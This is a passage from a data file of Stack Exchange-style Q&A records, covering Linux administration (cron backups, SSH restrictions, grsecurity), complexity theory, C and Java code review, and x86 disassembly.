Corp.INTERFACE=255/255/255MODALIAS=usb:v1162p2200d2206dc00dsc00dp00icFFiscFFipFFin00PRODUCT=1162/2200/2206SEQNUM=1703SUBSYSTEM=usbTYPE=0/0/0UDEV_LOG=6USEC_INITIALIZED=186134adb_user=yesDistro: Debian GNU/Linux 8 (jessie)"  , "title": "Adding USB device to rules.d"  , "tags": "usb"  } 
{  "id": "_webmaster.60438"  , "question": "Can a rule that filters and redirect traffic based on country of origin be implemented in .htaccess?Can it be implemented in any other way then by an IP address? I need the solution to be as accurate as possible."  , "title": "Htaccess redirect based on country of origin"  , "tags": "htaccess;redirects;country specific"  } 
{  "id": "_unix.68768"  , "question": "I am a complete amateur in Linux. There is a software that only runs on Linux. It came with a virtual machine package and every thing.When inside the virtual machine, I run  a .py file in the terminal  and it starts downloading the software. The software file is quite large.I noticed every time I let the software to download, the installation wants to start and asks me for the password. I am usually not there to enter and it fails.I wanted to see how I can get over this problem. Thanks"  , "title": "Installing a software on Linux- Centos"  , "tags": "centos;software installation"  } 
{  "id": "_softwareengineering.72347"  , "question": "It is really frustrating to find that every other open source project's source code and documentation etc., follows slightly or hugely different directory structure and naming conventions. How do I quickly orient my self to the directory/naming conventions?  Get to the overall architecture of the app without going through a bunch of source code files?  How do I make reaching to the relevant code (that I am interested in) quicker?"  , "title": "How to browse an open source project efficiently?"  , "tags": "open source"  , "accepted_answer": "The best way is to download the whole project under your favorite IDE and use the IDE tools to gain a first overview.For the Apache Software Foundation for example, they have just one huge Subversion root from which you can pull any single project in a few clicks using Eclipse.  This creates a project in your workspace and you can use all the powerful tools of Eclipse to understand the class hierarchy, navigate (Ctrl/click) from one class to the next or just search artefacts in files.  The same holds true for Intellij or Netbeans of course.  For github, just add a git plugin to Eclipse and do the same.  At Sourceforge they use Subversion as well and used to rely on CVS, but the same will apply.It seems like a lot of work but believe me it isn't.  This strategy will also allow you to understand the various ways to build and architecture OSS (Maven, Hudson/Jenkins, Ant, make/nmake etc...).  Once you've done it once, it's much easier the second time and you'll find out it's always the same process.  Your developer skills will get a boost from taking this option seriously."  } 
{  "id": "_cs.53428"  , "question": "The following is an exercise which I am stuck at ( source: Sanjeev Arora and Boaz Barak; its not homework ) :Show that there is an oracle $A$ and a language $L \\in NP^A$ such that $L$ is not polynomial-time reducible to 3SAT even when the machine computing the reduction is allowed access to $A$.What I tried was, take $A$ to be the oracle to halting problem and let $L=\\{1^n | \\;\\exists \\; \\langle M,w \\rangle \\; \\text{s.t.} \\; |\\langle M,w \\rangle|=n \\; \\text{ and Turing machine M halts on w} \\} $. With this assignment I ensure $L \\in NP^{A}$ and $L$ is not polynomial reducible to 3SAT if oracle is not provided to the machine carrying out reduction. Although to map an instance $1^n$ I would have to search through $2^n$ strings even if oracle is provided to the reduction machine. But this does not seem like a proof for absence of polynomial reduction in this case. Is there a way to prove it using the same example ? Is there a simpler example ?"  , "title": "How can I show that the Cook-Levin theorem does not relativize?"  , "tags": "complexity theory;np;nondeterminism;oracle machines;relativization"  , "accepted_answer": "Please refer Does Cook Levin Theorem relativize?. Also refer to Arora, Implagiazo and Vazirani's paper: Relativizing versus Nonrelativizing Techniques: The Role of local checkability.In the paper by Baker, Gill and Solovay (BGS) on Relativizations of the P =? N Pquestion (SIAM Journal on Computing, 4(4):431442, December 1975) they give a language $B$ and $U_B$ such that $U_B \\in NP^B$ and $U_B \\not\\in P^B$, thus proving that there are oracles $B$ for which $P^B \\neq NP^B$.We shall modify the $U_B$ and $B$ to $U_{B'}$ and $B'$ such that we get a new language that cannot be reduced to 3SAT even if there is availability of $B'$ as an oracle.First assume that we can pad every $3SAT$ boolean instance $\\phi$ to $\\phi'$ with some additional dummy 3CNF expressions such that $|\\phi'|$ is odd and they are equivalent, i.e., $\\phi$ is satisfiable iff $\\phi'$ is satisfiable. We can do it in $n+O(1)$ time and with $O(1)$ padding, but even if it takes polynomial time and extra polynomial padding it does not matter.Now we need to combine the $B$ and $3SAT$ to $B'$ somehow so that BGS theorem still holds but additionally $3SAT \\in P^{B'}$. So we do something like the following.$U_{B'} = \\{1^n \\ \\ |\\ \\ \\exists x \\in B, $ such that $|x| = 1^{2n}\\}$ and$B' = B'_{constructed} \\ \\cup \\{\\phi \\ \\ |\\ \\ \\phi \\in 3SAT $ and $ |\\phi| $ is odd $\\}$. Now we shall construct $B'_{constructed}$ according to the theorem such that if the deterministic machine $M_i^{B'}$ for input $1^n$ ($n$ is determined as in theorem) asks the oracle $B'$ a query of odd length we check if it is in $3SAT$ and answer correctly but if it asks a query of even length we proceed according to the construction, that is, answering correctly if it is already in the table, otherwise answer no every time. Then since we are running for $1^n$ we flip the answers at $2n$ length so that $M_i^{B'}$ does not decide $U_{B'}$.We can prove similarly as in the BGS theorem that for this $B'$ and $U_{B'}$ too, we have $U_{B'} \\in NP^{B'}$ and $U_{B'} \\not\\in P^{B'}$. $U_{B'} \\in NP^{B'}$ is easy to prove. We construct a non-deterministic Turing Machine which for input $1^n$ creates non-deterministic branches that runs for $2n$ steps to generate a different $2n$-length string and then asks oracle $B'$ if the $2n$-length string is in $B'$, and if the answer is yes it accepts $1^n$ else it  rejects $1^n$. This construction shows that $U_{B'} \\in NP^{B'}$.$U_{B'} \\not\\in P^{B'}$ can be proved with the help of diagonalization argument. Basically it is different from every $L(M_i^{B'})$ for every oracle Turing Machine that have $B'$ as an oracle. This is because of how we construct $B'_{constructed}$.Now we shall prove by contradiction that there does not exist a reduction from $U_{B'}$ to $3SAT$ even with the availability of oracle $B'$.Assume there is a reduction using oracle $B'$, i.e., $U_{B'} \\leq^{B'}_P 3SAT$. That means we can reduce a string of the form $1^n$ to a 3SAT instance $\\phi$ using a polynomial-time deterministic machine which uses $B'$ as oracle. We can now describe a deterministic TM $M^{B'}$ which will decide strings $U_{B'}$ in polynomial time using $B'$ as an oracle. First this machine reduces the input $1^n$ to a 3SAT-instance $\\phi$ using $B'$ as an oracle. This can be done because we have the reduction above. Then if $\\phi$ is not odd length $M^{B'}$ will pad it to make $\\phi'$ which is odd length. Next, it will give this $\\phi'$ to oracle $B'$ and get the answer yes/no. It will accept if the answer is yes and reject if the answer is no. This machine is deterministically polynomial and uses oracle $B'$.Thus we have proved that $U_{B'} \\in P^{B'}$, a contradiction.Therefore $U_{B'} \\not\\leq^{B'}_P 3SAT$."  } 
{  "id": "_unix.287783"  , "question": "This question is similar to the one about resuming from hibernate in a dual boot PC, but i do not assume here that the two systems share the swap.  Even though answers to these questions would probably be very similar, I think my question is a bit different.As follow from this answer to my other question, and according to this document on kernel.org, between a hibernation and the subsequent resume of a system, no mounted partition should be modified.This looks to me like a rather strict requirement for a dual boot configuration: if I want to have a partition writable by both systems (for example, for /home), I should probably disable hibernation...Has anybody found any workaround yet? For example, allowing the machine to only boot into the hibernated system after hibernation would be a perfect solution IMO."  , "title": "Hibernation of a dual boot machine with a shared writable partition"  , "tags": "dual boot;hibernate;shared partition"  } 
{  "id": "_unix.316306"  , "question": "I have a text file that looks like this:UICEX_0001  UICEX_0001_T1.bam   UICEX_0001_C2.bam   chr1:16946335   chr19:9064309   chr8:10480278                                                                               UICEX_0003  UICEX_0003_T1.bam   UICEX_0003_C2.bam   chr1:16974893I am trying to use this information to create something like the following, combining strings and dynamically inputting information from the text file.  I want to:loop through each lineassign the first three columns to variablesprint some text with those variablesthen loop through the 4th-end column print something specific.  Here's an example of my output file:Output Fileload UICEX_0001_T1.bamload UICEX_0001_C2.bamgoto chr1:16946335collapsesnapshot UICEX_0001_chr1:16946335.pnggoto chr19:9064309collapsesnapshot UICEX_0001_chr19:9064309.pnggoto chr8:10480278collapsesnapshot UICEX_0001_chr8:10480278.pngload UICEX_0003_T1.bamload UICEX_0003_C2.bamcollapsesnapshot UICEX_0003_chr1:16974893.pngWhat I've triedI thought I could do this by nesting gawk commands.  Here's one I've tried:SAMPLEFILE = 2016-10-13_mutation_table.txtgawk -F; 'BEGIN{gawk -F; -v SAMPLE=$(cat $SAMPLEFILE | cut -d\\t -f1) -v BAMT=$(cat $SAMPLEFILE | cut -d\\t -f2) -v BAMN=$(cat $SAMPLEFILE | cut -d\\t -f3);}{print new \\nload  $BAMN;}{print new \\nload  $BAMT;}{awk {for(i=4; i<=NF-1; i++){ print goto  $i ; print collapse\\nsnapshot  $SAMPLE_$i.png;} } 2016-10-13_mutation_table.txt;}END{print exit \\n}'But running this gets errors such as this:gawk: cmd. line:2: gawk -F; -v SAMPLE=$(cat $SAMPLEFILE | cut -d\\t -f1) ...gawk: cmd. line:2:                     ^ syntax errorI'm a beginner at bash coding, so please include some explanation if possible."  , "title": "gawk - Dynamic creation of text file using input file fields"  , "tags": "text processing;gawk"  } 
{  "id": "_unix.8584"  , "question": "I'm setting up a Cronjob that will backup a MySQL database I have in my server, but I don't want it to keep overwriting the same file over and over again. Instead, I want to have an array of backups to choose from, done automatically. For example:## Cronjob, run May 21st, 2011:mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql## SAME Conjob, run May 28th, 2011:mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sqlAnd so on.Is there any way that I can use the system date and/or time as some kind of variable in my Cronjob? If not, what are your suggestions to accomplish the same?"  , "title": "Using the system date / time in a Cron Script"  , "tags": "bash;terminal;cron"  } 
{  "id": "_unix.182429"  , "question": "There are two (unix) users who are allowed to connect to my Debian Wheezy server using ssh: git and peter. While git is allowed to connect from everywhere, peter (who is in the sudo group) should be only allowed to connect from my local network.I therefore added the lineAllowUsers git peter@192.168.2.0/24to my /etc/ssh/sshd_configAnd it first seemed to work, as git is allowed to connect remotely over the internet, while peter isn't. My desktop, which has the ip address 192.168.2.24 is allowed to connect as peter, but my laptop isn't when connected using VPN (with local ip 192.168.2.201). It works when using it directly connected to my LAN.This is what I can find in the /var/log/auth.log file. It doesn't make any sense to me, why is that IP not allowed?Feb  2 11:44:54 srv sshd[7275]: User peter from 192.168.2.201 not allowed because not listed in AllowUsersFeb  2 11:44:54 srv sshd[7275]: input_userauth_request: invalid user peter [preauth]"  , "title": "Restrict SSH login to local network: VPN connection not allowed"  , "tags": "ssh;sshd;openssh"  , "accepted_answer": "Use:AllowUsers git peter@192.168.2.*or for example:AllowUsers git peter@192.168.2.2??if only 200-254 are allocated for VPN connections.And make sure to read man ssh_config (the section PATTERNS). Yes, that's ssh_config, not sshd_config. But if you read the latter, you'll notice it refers to the former."  } 
{  "id": "_softwareengineering.349973"  , "question": "What are some techniques that you can use to prevent over-engineering among the Software Developers? Meaning, how do you keep them focused on creating solutions of only the current requirements? Without trying to anticipate all future changes."  , "title": "How to prevent over-engineering from Developers?"  , "tags": "design;complexity;engineering"  } 
{  "id": "_codereview.148138"  , "question": "This code is meant to compute the height for the tallest stack of boxes out of a given collection of boxes. A box has width, height, and depth dimensions. The height of a stack of boxes is the sum of all of the heights of the boxes in the stack. The boxes cannot be rotated. A box can only be stacked on top of another box if its width, height, and depth are strictly smaller.I'm doing this to improve my style and to improve my knowledge of fundamental algorithms/data structures for an upcoming coding interview.from operator import attrgetterclass Box:    def __init__(self, width, height, depth):        self.width = width        self.height = height        self.depth = depth    def smaller_than(self, other_box):        return (self.width < other_box.width and                self.height < other_box.height and                self.depth < other_box.depth) def tallest(boxes):    boxes = sorted(boxes, reverse=True, key=attrgetter('height'))    largest_height = 0    for i in range(len(boxes)):        bottom_box = boxes[i]        total_height = bottom_box.height        cur_top_box = bottom_box        for j in range(i+1,len(boxes)):            if boxes[j].smaller_than(cur_top_box):                total_height += boxes[j].height                cur_top_box = boxes[j]        if total_height > largest_height:            largest_height = total_height    return largest_heightThe question wasn't clear about how the boxes were represented or inputted. I just made them into a Box class and assumed that they were passed as a list to tallest(). If there are any better ways of representing the boxes or inputting them (especially in an interview environment) I would be happy to hear it.I think this code has time complexity O(n^2) and space complexity O(n). Please correct me if I'm wrong. Any suggestions about how I can improve these complexities are welcome."  , "title": "Get height for tallest possible stack of boxes"  , "tags": "python;performance;programming challenge;python 3.x"  } 
{  "id": "_codereview.166874"  , "question": "I am programming a parallel tree algorithm where I have to send data to other processors. The amount of data is not constant. Therefore I have to work with dynamic arrays using malloc() and realloc(). Since I am new to C I wondered if I am doing it right. I do not get any error. But I think that is not proof enough, that it works all the time. How could I really test this code? Do I have memory leaks? Do I occupy to much memory with this method? Here I have an array containing 10 double values. Then I want add 3 new double values to that array. Finally I want to delete the whole array.Here is my code:#include <stdio.h>#include <stdlib.h>int main(){    int n = 10;    double *p;    p = malloc(sizeof(*p)*n); // similar to int array[n]    if(p==NULL){        printf(Error! Memory not allocated.);        return 1;    }    for(int i=0; i<n; i++)        printf(%lf\\n, p[i]);    printf(\\n);    int add = 3;    double *temp;    temp = realloc(p,(n+add)*sizeof(*temp));    if(temp != NULL){        p = temp;    }else{        free(p);        printf(Error! Memory not reallocated\\n);        return 1;    }    for(int i=0; i<n+add; i++)        printf(%lf\\n, p[i]);    return 0;    free(p);}I tried to check the size of the arrays before and after reallocation. But it seems to me that this is not possible in C."  , "title": "Allocation and reallocation of memory"  , "tags": "c;memory management"  , "accepted_answer": "If you swap the last two lines, so you actually free the memory before returning, then the code looks to be leak-free in the face of errors - well done!  You do read uninitialized values from the allocated memory; don't do that even in a test program (Valgrind complains a lot).Some notes:This reads easier if you re-order the multiplication:p = malloc(sizeof(*p)*n); // yoursp = malloc(n * sizeof *p); // mine(BTW, it's good that you are using sizeof *p rather than sizeof (double), as this means no risk of the type becoming out of step with the size allocated.  Definitely a good practice to be encouraged!).Testing pointers against NULL is more idiomatic if you use the default conversion to boolean:if(p==NULL){ // yoursif (!p) { // mineError messages should go to standard error, not standard output, and should end with a newline:    printf(Error! Memory not allocated.); // yours    fprintf(stderr, Error! Memory not allocated.\\n); // mineThe reallocation can be simplified in a similar manner to the initial allocation; I'd declare and allocate in a single line like this:double *temp; // yourstemp = realloc(p,(n+add)*sizeof(*temp)); // yoursdouble *temp = realloc(p, (n+add) * sizeof *temp); // mineComplete program#include <stdio.h>#include <stdlib.h>int main() {    int n = 10;    double *p = malloc(n * sizeof *p);    if (!p) {        fprintf(stderr, Error! Memory not allocated.\\n);        return 1;    }    /* initialize these values */    for (int i = 0;  i < n;  ++i)        p[i] = i;    for (int i = 0;  i < n;  ++i)        printf(%lf\\n, p[i]);    printf(\\n);    int add = 3;    double *temp = realloc(p, (n+add) * sizeof *temp);    if (temp) {        p = temp;    } else {        free(p);        fprintf(stderr, Error! Memory not reallocated.\\n);        return 1;    }    /* initialize the new values */    for (int i = n;  i < n+add;  ++i)        p[i] = 100 + i;    for (int i = 0;  i < n+add;  ++i)        printf(%lf\\n, p[i]);    free(p);    return 0;}If we build this with my usual Makefile and run it in Valgrind, we see no leaks:gcc -std=c11 -fPIC -g -Wall -Wextra -Wwrite-strings -Wno-parentheses -Wpedantic -Warray-bounds 166874.c -o 166874valgrind --leak-check=full ./166874==30432== Memcheck, a memory error detector==30432== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.==30432== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info==30432== Command: ./166874==30432== 0.0000001.0000002.0000003.0000004.0000005.0000006.0000007.0000008.0000009.0000000.0000001.0000002.0000003.0000004.0000005.0000006.0000007.0000008.0000009.000000110.000000111.000000112.000000==30432== ==30432== HEAP SUMMARY:==30432==     in use at exit: 0 bytes in 0 blocks==30432==   total heap usage: 3 allocs, 3 frees, 1,208 bytes allocated==30432== ==30432== All heap blocks were freed -- no leaks are possible==30432== ==30432== For counts of detected and suppressed errors, rerun with: -v==30432== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)"  } 
{  "id": "_webapps.109061"  , "question": "I'm trying to create a facebook messenger ad and have the automated reply message have an emoji in it.  I can't seem to get it to show up properly though.  Do I need to put it in a different field than text?  I tried inserting the unicode, but it doesn't seem to like having escape characters in the field.{type: template,payload: {    template_type: button,    text: Welcome! \\U+1F44B Click the date/time you would like:,    buttons: [        {            type: postback,            payload: THINGS,            title: AUGUST        },        {            type: postback,            payload: THINGS,            title: AUGUST        }    ]}}"  , "title": "How to insert emoji into facebook messenger JSON"  , "tags": "facebook;facebook messages;facebook ads;facebook messenger"  } 
{  "id": "_unix.155516"  , "question": "I am using SUSE 11SP3 and formatted the devices with a block size of 4KB using mkfs.ext3./sys/block/sda/queue/logical_block_size and /sys/block/sda/queue/physical_block_size show the OS is using 512 bytes.How can I change the OS block size to match the 4KB FS block size?I created a RAID0 array form the disks. Do I need to change the block size of the RAID array and the disks it is comprised of or should I only change the RAID0 array?"  , "title": "How do I change the OS block size"  , "tags": "filesystems;block device;mkfs"  } 
{  "id": "_unix.11873"  , "question": "I installed 'linux-patch-grsecurity2' and it has some sort of interface.~$ sudo gradm2gradm 2.1.14grsecurity administration programUsage: gradm [option] ...Examples:        gradm -P        gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/policyOptions:        -E, --enable    Enable the grsecurity RBAC system        -D, --disable   Disable the grsecurity RBAC system        -C, --check     Check RBAC policy for errors        -S, --status    Check status of RBAC system        -F, --fulllearn Enable full system learning        -P [rolename], --passwd                        Create password for RBAC administration                        or a special role        -R, --reload    Reload the RBAC system while in admin mode        -L <filename>, --learn                        Specify the pathname for learning logs        -O <filename>, --output                        Specify where to place policies generated from                        learning mode        -M <filename|uid>, --modsegv                        Remove a ban on a specific file or UID        -a <rolename> , --auth                        Authenticates to a special role that requires auth        -u, --unauth    Remove yourself from your current special role        -n <rolename> , --noauth                        Transitions to a special role that doesn't                        require authentication        -p <rolename> , --pamauth                        Authenticates to a special role through PAM        -V, --verbose   Display verbose policy statistics when enabling system        -h, --help      Display this help        -v, --version   Display version informationI didn't successfully find any documentation on how to use it to limit the 'ps aux' list for users?"  , "title": "I don't want other users see my processes in ps aux. I have root. It's Debian. How to use grsec?"  , "tags": "linux;security;process;grsecurity"  } 
{  "id": "_unix.103102"  , "question": "I use proftpd and configure it via Webmin. I want to limit users access to certain directories Their homes/sampleSo I go to Files and Directories->Limit users to directories and option: Home directory works fine. The problem is with other directory. It is set just like home directory but users still can see only their home folder without /sample. What happened?Ubuntu 13.10"  , "title": "Proftpd and Webmin - directory limits"  , "tags": "ftp;webmin;proftpd"  } 
{  "id": "_reverseengineering.16059"  , "question": "After reading a number of blog posts, forums, and watching tutorials I figured I would start learning to reverse software the old fashion way.  Creating simple C files and looking at their disassembly.  In my quest to truly understand reversing, I thought also comparing optimized and unoptimized code would be beneficial.  While looking through I came across a couple lines of code that appear to do nothing.I would love if someone can explain what the mov[es] in the unoptimized code is doing.  All of these were disassembled using Hopper v4.C Code: #include <stdio.h> int main(int arg, char** arg) {    printf(Hello World!\\n);    return 0; }Unoptimized Code (gcc -m32) :; Variables:        ;    arg_4: 12        ;    arg_0: 8        ;    var_4: -4        ;    var_8: -8        ;    var_C: -12        ;    var_10: -16        ;    var_18: -24push       ebpmov        ebp, espsub        esp, 0x18call       _main+11pop        eax                            ; CODE XREF=_main+6-- What purpose do these moves serve? --mov        ecx, dword [ebp+arg_4]mov        edx, dword [ebp+arg_0]--                                    --lea        eax, dword [eax-0x1f5b+0x1fa6] ; Hello World!\\\\n-- And what do these moves also serve? --mov        dword [ebp+var_4], 0x0mov        dword [ebp+var_8], edxmov        dword [ebp+var_C], ecx--                                    --mov        dword [esp+0x18+var_18], eax  ; method imp___symbol_stub__printfcall       imp___symbol_stub__printfxor        ecx, ecx                           mov        dword [ebp+var_10], eaxmov        eax, ecx                                    add        esp, 0x18                           pop        ebpretOptimized Code (gcc -m32 -O3):push       ebpmov        ebp, espsub        esp, 0x8call       _main+11pop        eax                             ; CODE XREF=_main+6lea        eax, dword [eax-0x1f6b+0x1f9e]  ; Hello World!mov        dword [esp+0x8+var_8], eax      ; %s for imp___symbol_stub__putscall       imp___symbol_stub__putsxor        eax, eaxadd        esp, 0x8pop        eepret"  , "title": "Optimized vs Unoptimized code comparison"  , "tags": "x86;intel"  , "accepted_answer": "First of all, I would advise you to read about the SystemV ABI for i386 and amd64. You can find the documents here:System V i386 ABISystem V amd64 ABIThese documents define as precisely as possible how a compiler coder should translate some C/C++ code into i386/amd64 assembly code for a Unix-like system. They are extremely important documents and you should refer to it as often as possible because they contain a lot of answers for most of your questions.Now, back to your original question, in your case the main differences between the two codes is that gcc has optimized data movements in the memory as we will see.First code snippet-- What purpose do these moves serve? --mov        ecx, dword [ebp+arg_4]mov        edx, dword [ebp+arg_0]--                                    --Here, ecx and edx are loaded with the arguments of main (very likely argc and argv).Note that, none of argc and argv are of any use in the main() function. But, the compiler does not know about it because it did not performed dead-code/dead-variables analysis at this level of optimization. Of course, this code will be removed when the appropriate analysis will be performed.Second code snippet-- And what do these moves also serve? --mov        dword [ebp+var_4], 0x0mov        dword [ebp+var_8], edxmov        dword [ebp+var_C], ecx--                                    --Here, the program seems to store the arguments in the local memory frame (below ebp). Note that the arguments are above ebp and the automatic variables below (we say automatic variable for the variable which are within the function's scope).Of course, these data movements are totally unnecessary, but the compiler just apply a default template for starting a function which transfer a copy of the arguments in the local memory stack-frame. And, once again, when the compiler realize that these variables are of no use, then these moves will disappear."  } 
{  "id": "_codereview.132363"  , "question": "I solved this exercise of displaying a table of numbers from 1 to 256 in binary, octal and hexadecimal. I made this program to convert from decimal to binary and took that binary number to convert to octal and hexadecimal to made a table of binary, octal and hexadecimal. You might see that the way I found out which was the binary representation of the decimal number can be applied to the other bases and I didn't do it that way because I wanted to see if I could do it like this, I'll try to apply that method to the other basis now. Note: I overloaded the method binToBase () because I just learnt how to do it this week and seemed like the perfect oportunity to test it, haha.is this good code? I'm pretty ashamed of how long it took for me to solve this ( 2 days )public class Table {    public static final int BIN_BASE = 2 ;    public static final String HEX_BASE = Hexa ;    public static final int OCT_BASE = 8 ;    public static final int ROOF = 256 ;    public static void main ( String[] args ) {        int bin ;        System.out.println ( Binary\\t\\tOctal\\t\\tHexadecimal );        for ( int i = 1 ; i <= ROOF ; i++ ){            bin = convertToBin ( i ) ;            System.out.printf ( %10d\\t , bin ) ;            System.out.printf ( %10s\\t , convertToBase ( bin , OCT_BASE ) ) ;            System.out.printf ( %10s\\n , convertToBase ( bin, HEX_BASE ) ) ;        }    }    public static String convertToBase ( int convert , String base ) {        String hex =  ;        int bin = convert ;        do {            switch ( bin % 10000 ) {                case 0 :                    hex = '0' + hex ;                    break ;                case 1 :                    hex = '1' + hex ;                    break ;                case 10 :                    hex = '2' + hex ;                    break ;                case 11 :                    hex = '3' + hex ;                    break ;                case 100 :                    hex = '4' + hex ;                    break ;                case 101 :                    hex = '5' + hex ;                    break ;                case 110 :                    hex = '6' + hex ;                    break ;                case 111 :                    hex = '7' + hex ;                    break ;                case 1000 :                    hex = '8' + hex ;                    break ;                case 1001 :                    hex = '9' + hex ;                    break ;                case 1010 :                    hex = 'A' + hex ;                    break ;                case 1011 :                    hex = 'B' + hex ;                    break ;                case 1100 :                    hex = 'C' + hex ;                    break ;                case 1101 :                    hex = 'D' + hex ;                    break ;                case 1110 :                    hex = 'E' + hex ;                    break ;                default :                    hex = 'F' + hex ;                    break ;            }            bin /= 10000 ;        } while ( bin > 0 ) ;        return hex ;    }    public static int convertToBase ( int convert , int base ){        int factor = 1 ;        int bin = convert ;        int oct = 0 ;        do {            switch ( bin % 1000 ) {                case 0 :                    break ;                case 1 :                    oct += factor * 1 ;                    break ;                case 10 :                    oct += factor * 2 ;                    break ;                case 11 :                    oct += factor * 3 ;                    break ;                case 100 :                    oct += factor * 4 ;                    break ;                case 101 :                    oct += factor * 5 ;                    break ;                case 110 :                    oct += factor * 6 ;                    break ;                default :                    oct += factor * 7 ;                    break ;            }            bin /= 1000 ;            factor *= 10 ;        } while ( bin > 0 ) ;        return oct ;    }    public static int convertToBin ( int original ) {        int bin = 0 ;        int sum = 0 ;        int exponent = 0 ;        while ( sum < original ){            sum += Math.pow ( 2 , exponent ) ;            exponent ++ ;            bin *= 10 ;            bin ++ ;        }        while ( sum > original && exponent >= 0 ){            if ( sum - Math.pow ( 2 , exponent ) >=  original ) {                sum -= Math.pow ( 2 , exponent ) ;                bin -= Math.pow ( 10 , exponent ) ;            }            exponent-- ;        }        return bin ;    }}And this is the outputBinary      Octal       Hexadecimal         1           1           1        10           2           2        11           3           3       100           4           4       101           5           5       110           6           6       111           7           7      1000          10           8      1001          11           9      1010          12           A      1011          13           B      1100          14           C      1101          15           D      1110          16           E      1111          17           F     10000          20          10     10001          21          11     10010          22          12     10011          23          13     10100          24          14     10101          25          15     10110          26          16     10111          27          17     11000          30          18     11001          31          19     11010          32          1A     11011          33          1B     11100          34          1C     11101          35          1D     11110          36          1E     11111          37          1F    100000          40          20    100001          41          21    100010          42          22    100011          43          23    100100          44          24    100101          45          25    100110          46          26    100111          47          27    101000          50          28    101001          51          29    101010          52          2A    101011          53          2B    101100          54          2C    101101          55          2D    101110          56          2E    101111          57          2F    110000          60          30    110001          61          31    110010          62          32    110011          63          33    110100          64          34    110101          65          35    110110          66          36    110111          67          37    111000          70          38    111001          71          39    111010          72          3A    111011          73          3B    111100          74          3C    111101          75          3D    111110          76          3E    111111          77          3F   1000000         100          40   1000001         101          41   1000010         102          42   1000011         103          43   1000100         104          44   1000101         105          45   1000110         106          46   1000111         107          47   1001000         110          48   1001001         111          49   1001010         112          4A   1001011         113          4B   1001100         114          4C   1001101         115          4D   1001110         116          4E   1001111         117          4F   1010000         120          50   1010001         121          51   1010010         122          52   1010011         123          53   1010100         124          54   1010101         125          55   1010110         126          56   1010111         127          57   1011000         130          58   1011001         131          59   1011010         132          5A   1011011         133          5B   1011100         134          5C   1011101         135          5D   1011110         136          5E   1011111         137          5F   1100000         140          60   1100001         141          61   1100010         142          62   1100011         143          63   1100100         144          64   1100101         145          65   1100110         146          66   1100111         147          67   1101000         150          68   1101001         151          69   1101010         152          6A   1101011         153          6B   1101100         154          6C   1101101         155          6D   1101110         156          6E   1101111         157          6F   1110000         160          70   1110001         161          71   1110010         162          72   1110011         163          73   1110100         164          74   1110101         165          75   1110110         166          76   1110111         167          77   1111000         170          78   1111001         171          79   1111010         172          7A   1111011         173          7B   1111100         174          7C   1111101         175          7D   1111110         176          7E   1111111         177          7F  10000000         200          80  10000001         201          81  10000010         202          82  10000011         203          83  10000100         204          84  10000101         205          85  10000110         206          86  10000111         207          87  10001000         210          88  10001001         211          89  10001010         212          8A  10001011         213          8B  10001100         214          8C  10001101         215          8D  10001110         216          8E  10001111         217          8F  10010000         220          90  10010001         221          91  10010010         222          92  10010011         223          93  10010100         224          94  10010101         225          95  10010110         226          96  10010111         227          97  10011000         230          98  10011001         231          99  10011010         232          9A  10011011         233          9B  10011100         234          9C  10011101         235          9D  10011110         236          9E  10011111         237          9F  10100000         240          A0  10100001         241          A1  10100010         242          A2  10100011         243          A3  10100100         244          A4  10100101         245          A5  10100110         246          A6  10100111         247          A7  10101000         250          A8  10101001         251          A9  10101010         252          AA  10101011         253          AB  10101100         254          AC  10101101         255          AD  10101110         256          AE  10101111         257          AF  10110000         260          B0  10110001         261          B1  10110010         262          B2  10110011         263          B3  10110100         264          B4  10110101         265          B5  10110110         266          B6  10110111         267          B7  10111000         270          B8  10111001         271          B9  10111010         272          BA  10111011         273          BB  10111100         274          BC  10111101         275          BD  10111110         276          BE  10111111         277          BF  11000000         300          C0  11000001         301          C1  11000010         302          C2  11000011         303          C3  11000100         304          C4  11000101         305          C5  11000110         306          C6  11000111         307          C7  11001000         310          C8  11001001         311          C9  11001010         312          CA  11001011         313          CB  11001100         314          CC  11001101         315          CD  11001110         316          CE  11001111         317          CF  11010000         320          D0  11010001         321          D1  11010010         322          D2  11010011         323          D3  11010100         324          D4  11010101         325          D5  11010110         326          D6  11010111         327          D7  11011000         330          D8  11011001         331          D9  11011010         332          DA  11011011         333          DB  11011100         334          DC  11011101         335          DD  11011110         336          DE  11011111         337          DF  11100000         340          E0  11100001         341          E1  11100010         342          E2  11100011         343          E3  11100100         344          E4  11100101         345          E5  11100110         346          E6  11100111         347          E7  11101000         350          E8  11101001         351          E9  11101010         352          EA  11101011         353          EB  11101100         354          EC  11101101         355          ED  11101110         356          EE  11101111         357          EF  11110000         360          F0  11110001         361          F1  11110010         362          F2  11110011         363          F3  11110100         364          F4  11110101         365          F5  11110110         366          F6  11110111         367          F7  11111000         370          F8  11111001         371          F9  11111010         372          FA  11111011         373          FB  11111100         374          FC  11111101         375          FD  11111110         376          FE  11111111         377          FF 100000000         400         100"  , "title": "Binary-octal-hexadecimal conversion table"  , "tags": "java;beginner;formatting;number systems"  , "accepted_answer": "You should use the same format for both the headers and the contents of the table.It pays to read the documentation. The task could be accomplished very simply.public static void main(String[] args) {    String tableFmt =  %11s %11s %11s\\n;    System.out.printf(tableFmt, Binary, Octal, Hexadecimal);    for (int i = 1; i <= 256; i++) {        System.out.printf(tableFmt, Integer.toBinaryString(i),                                    Integer.toOctalString(i),                                    Integer.toHexString(i).toUpperCase());    }}Your choice of the base-two representation using an int rather than a String (using one hundred one to represent five) is very unconventional and not recommended.You have also abused method overloading. The base parameter is unused. Rather, you are relying on just the type of the second parameter to pick which method to call."  } 
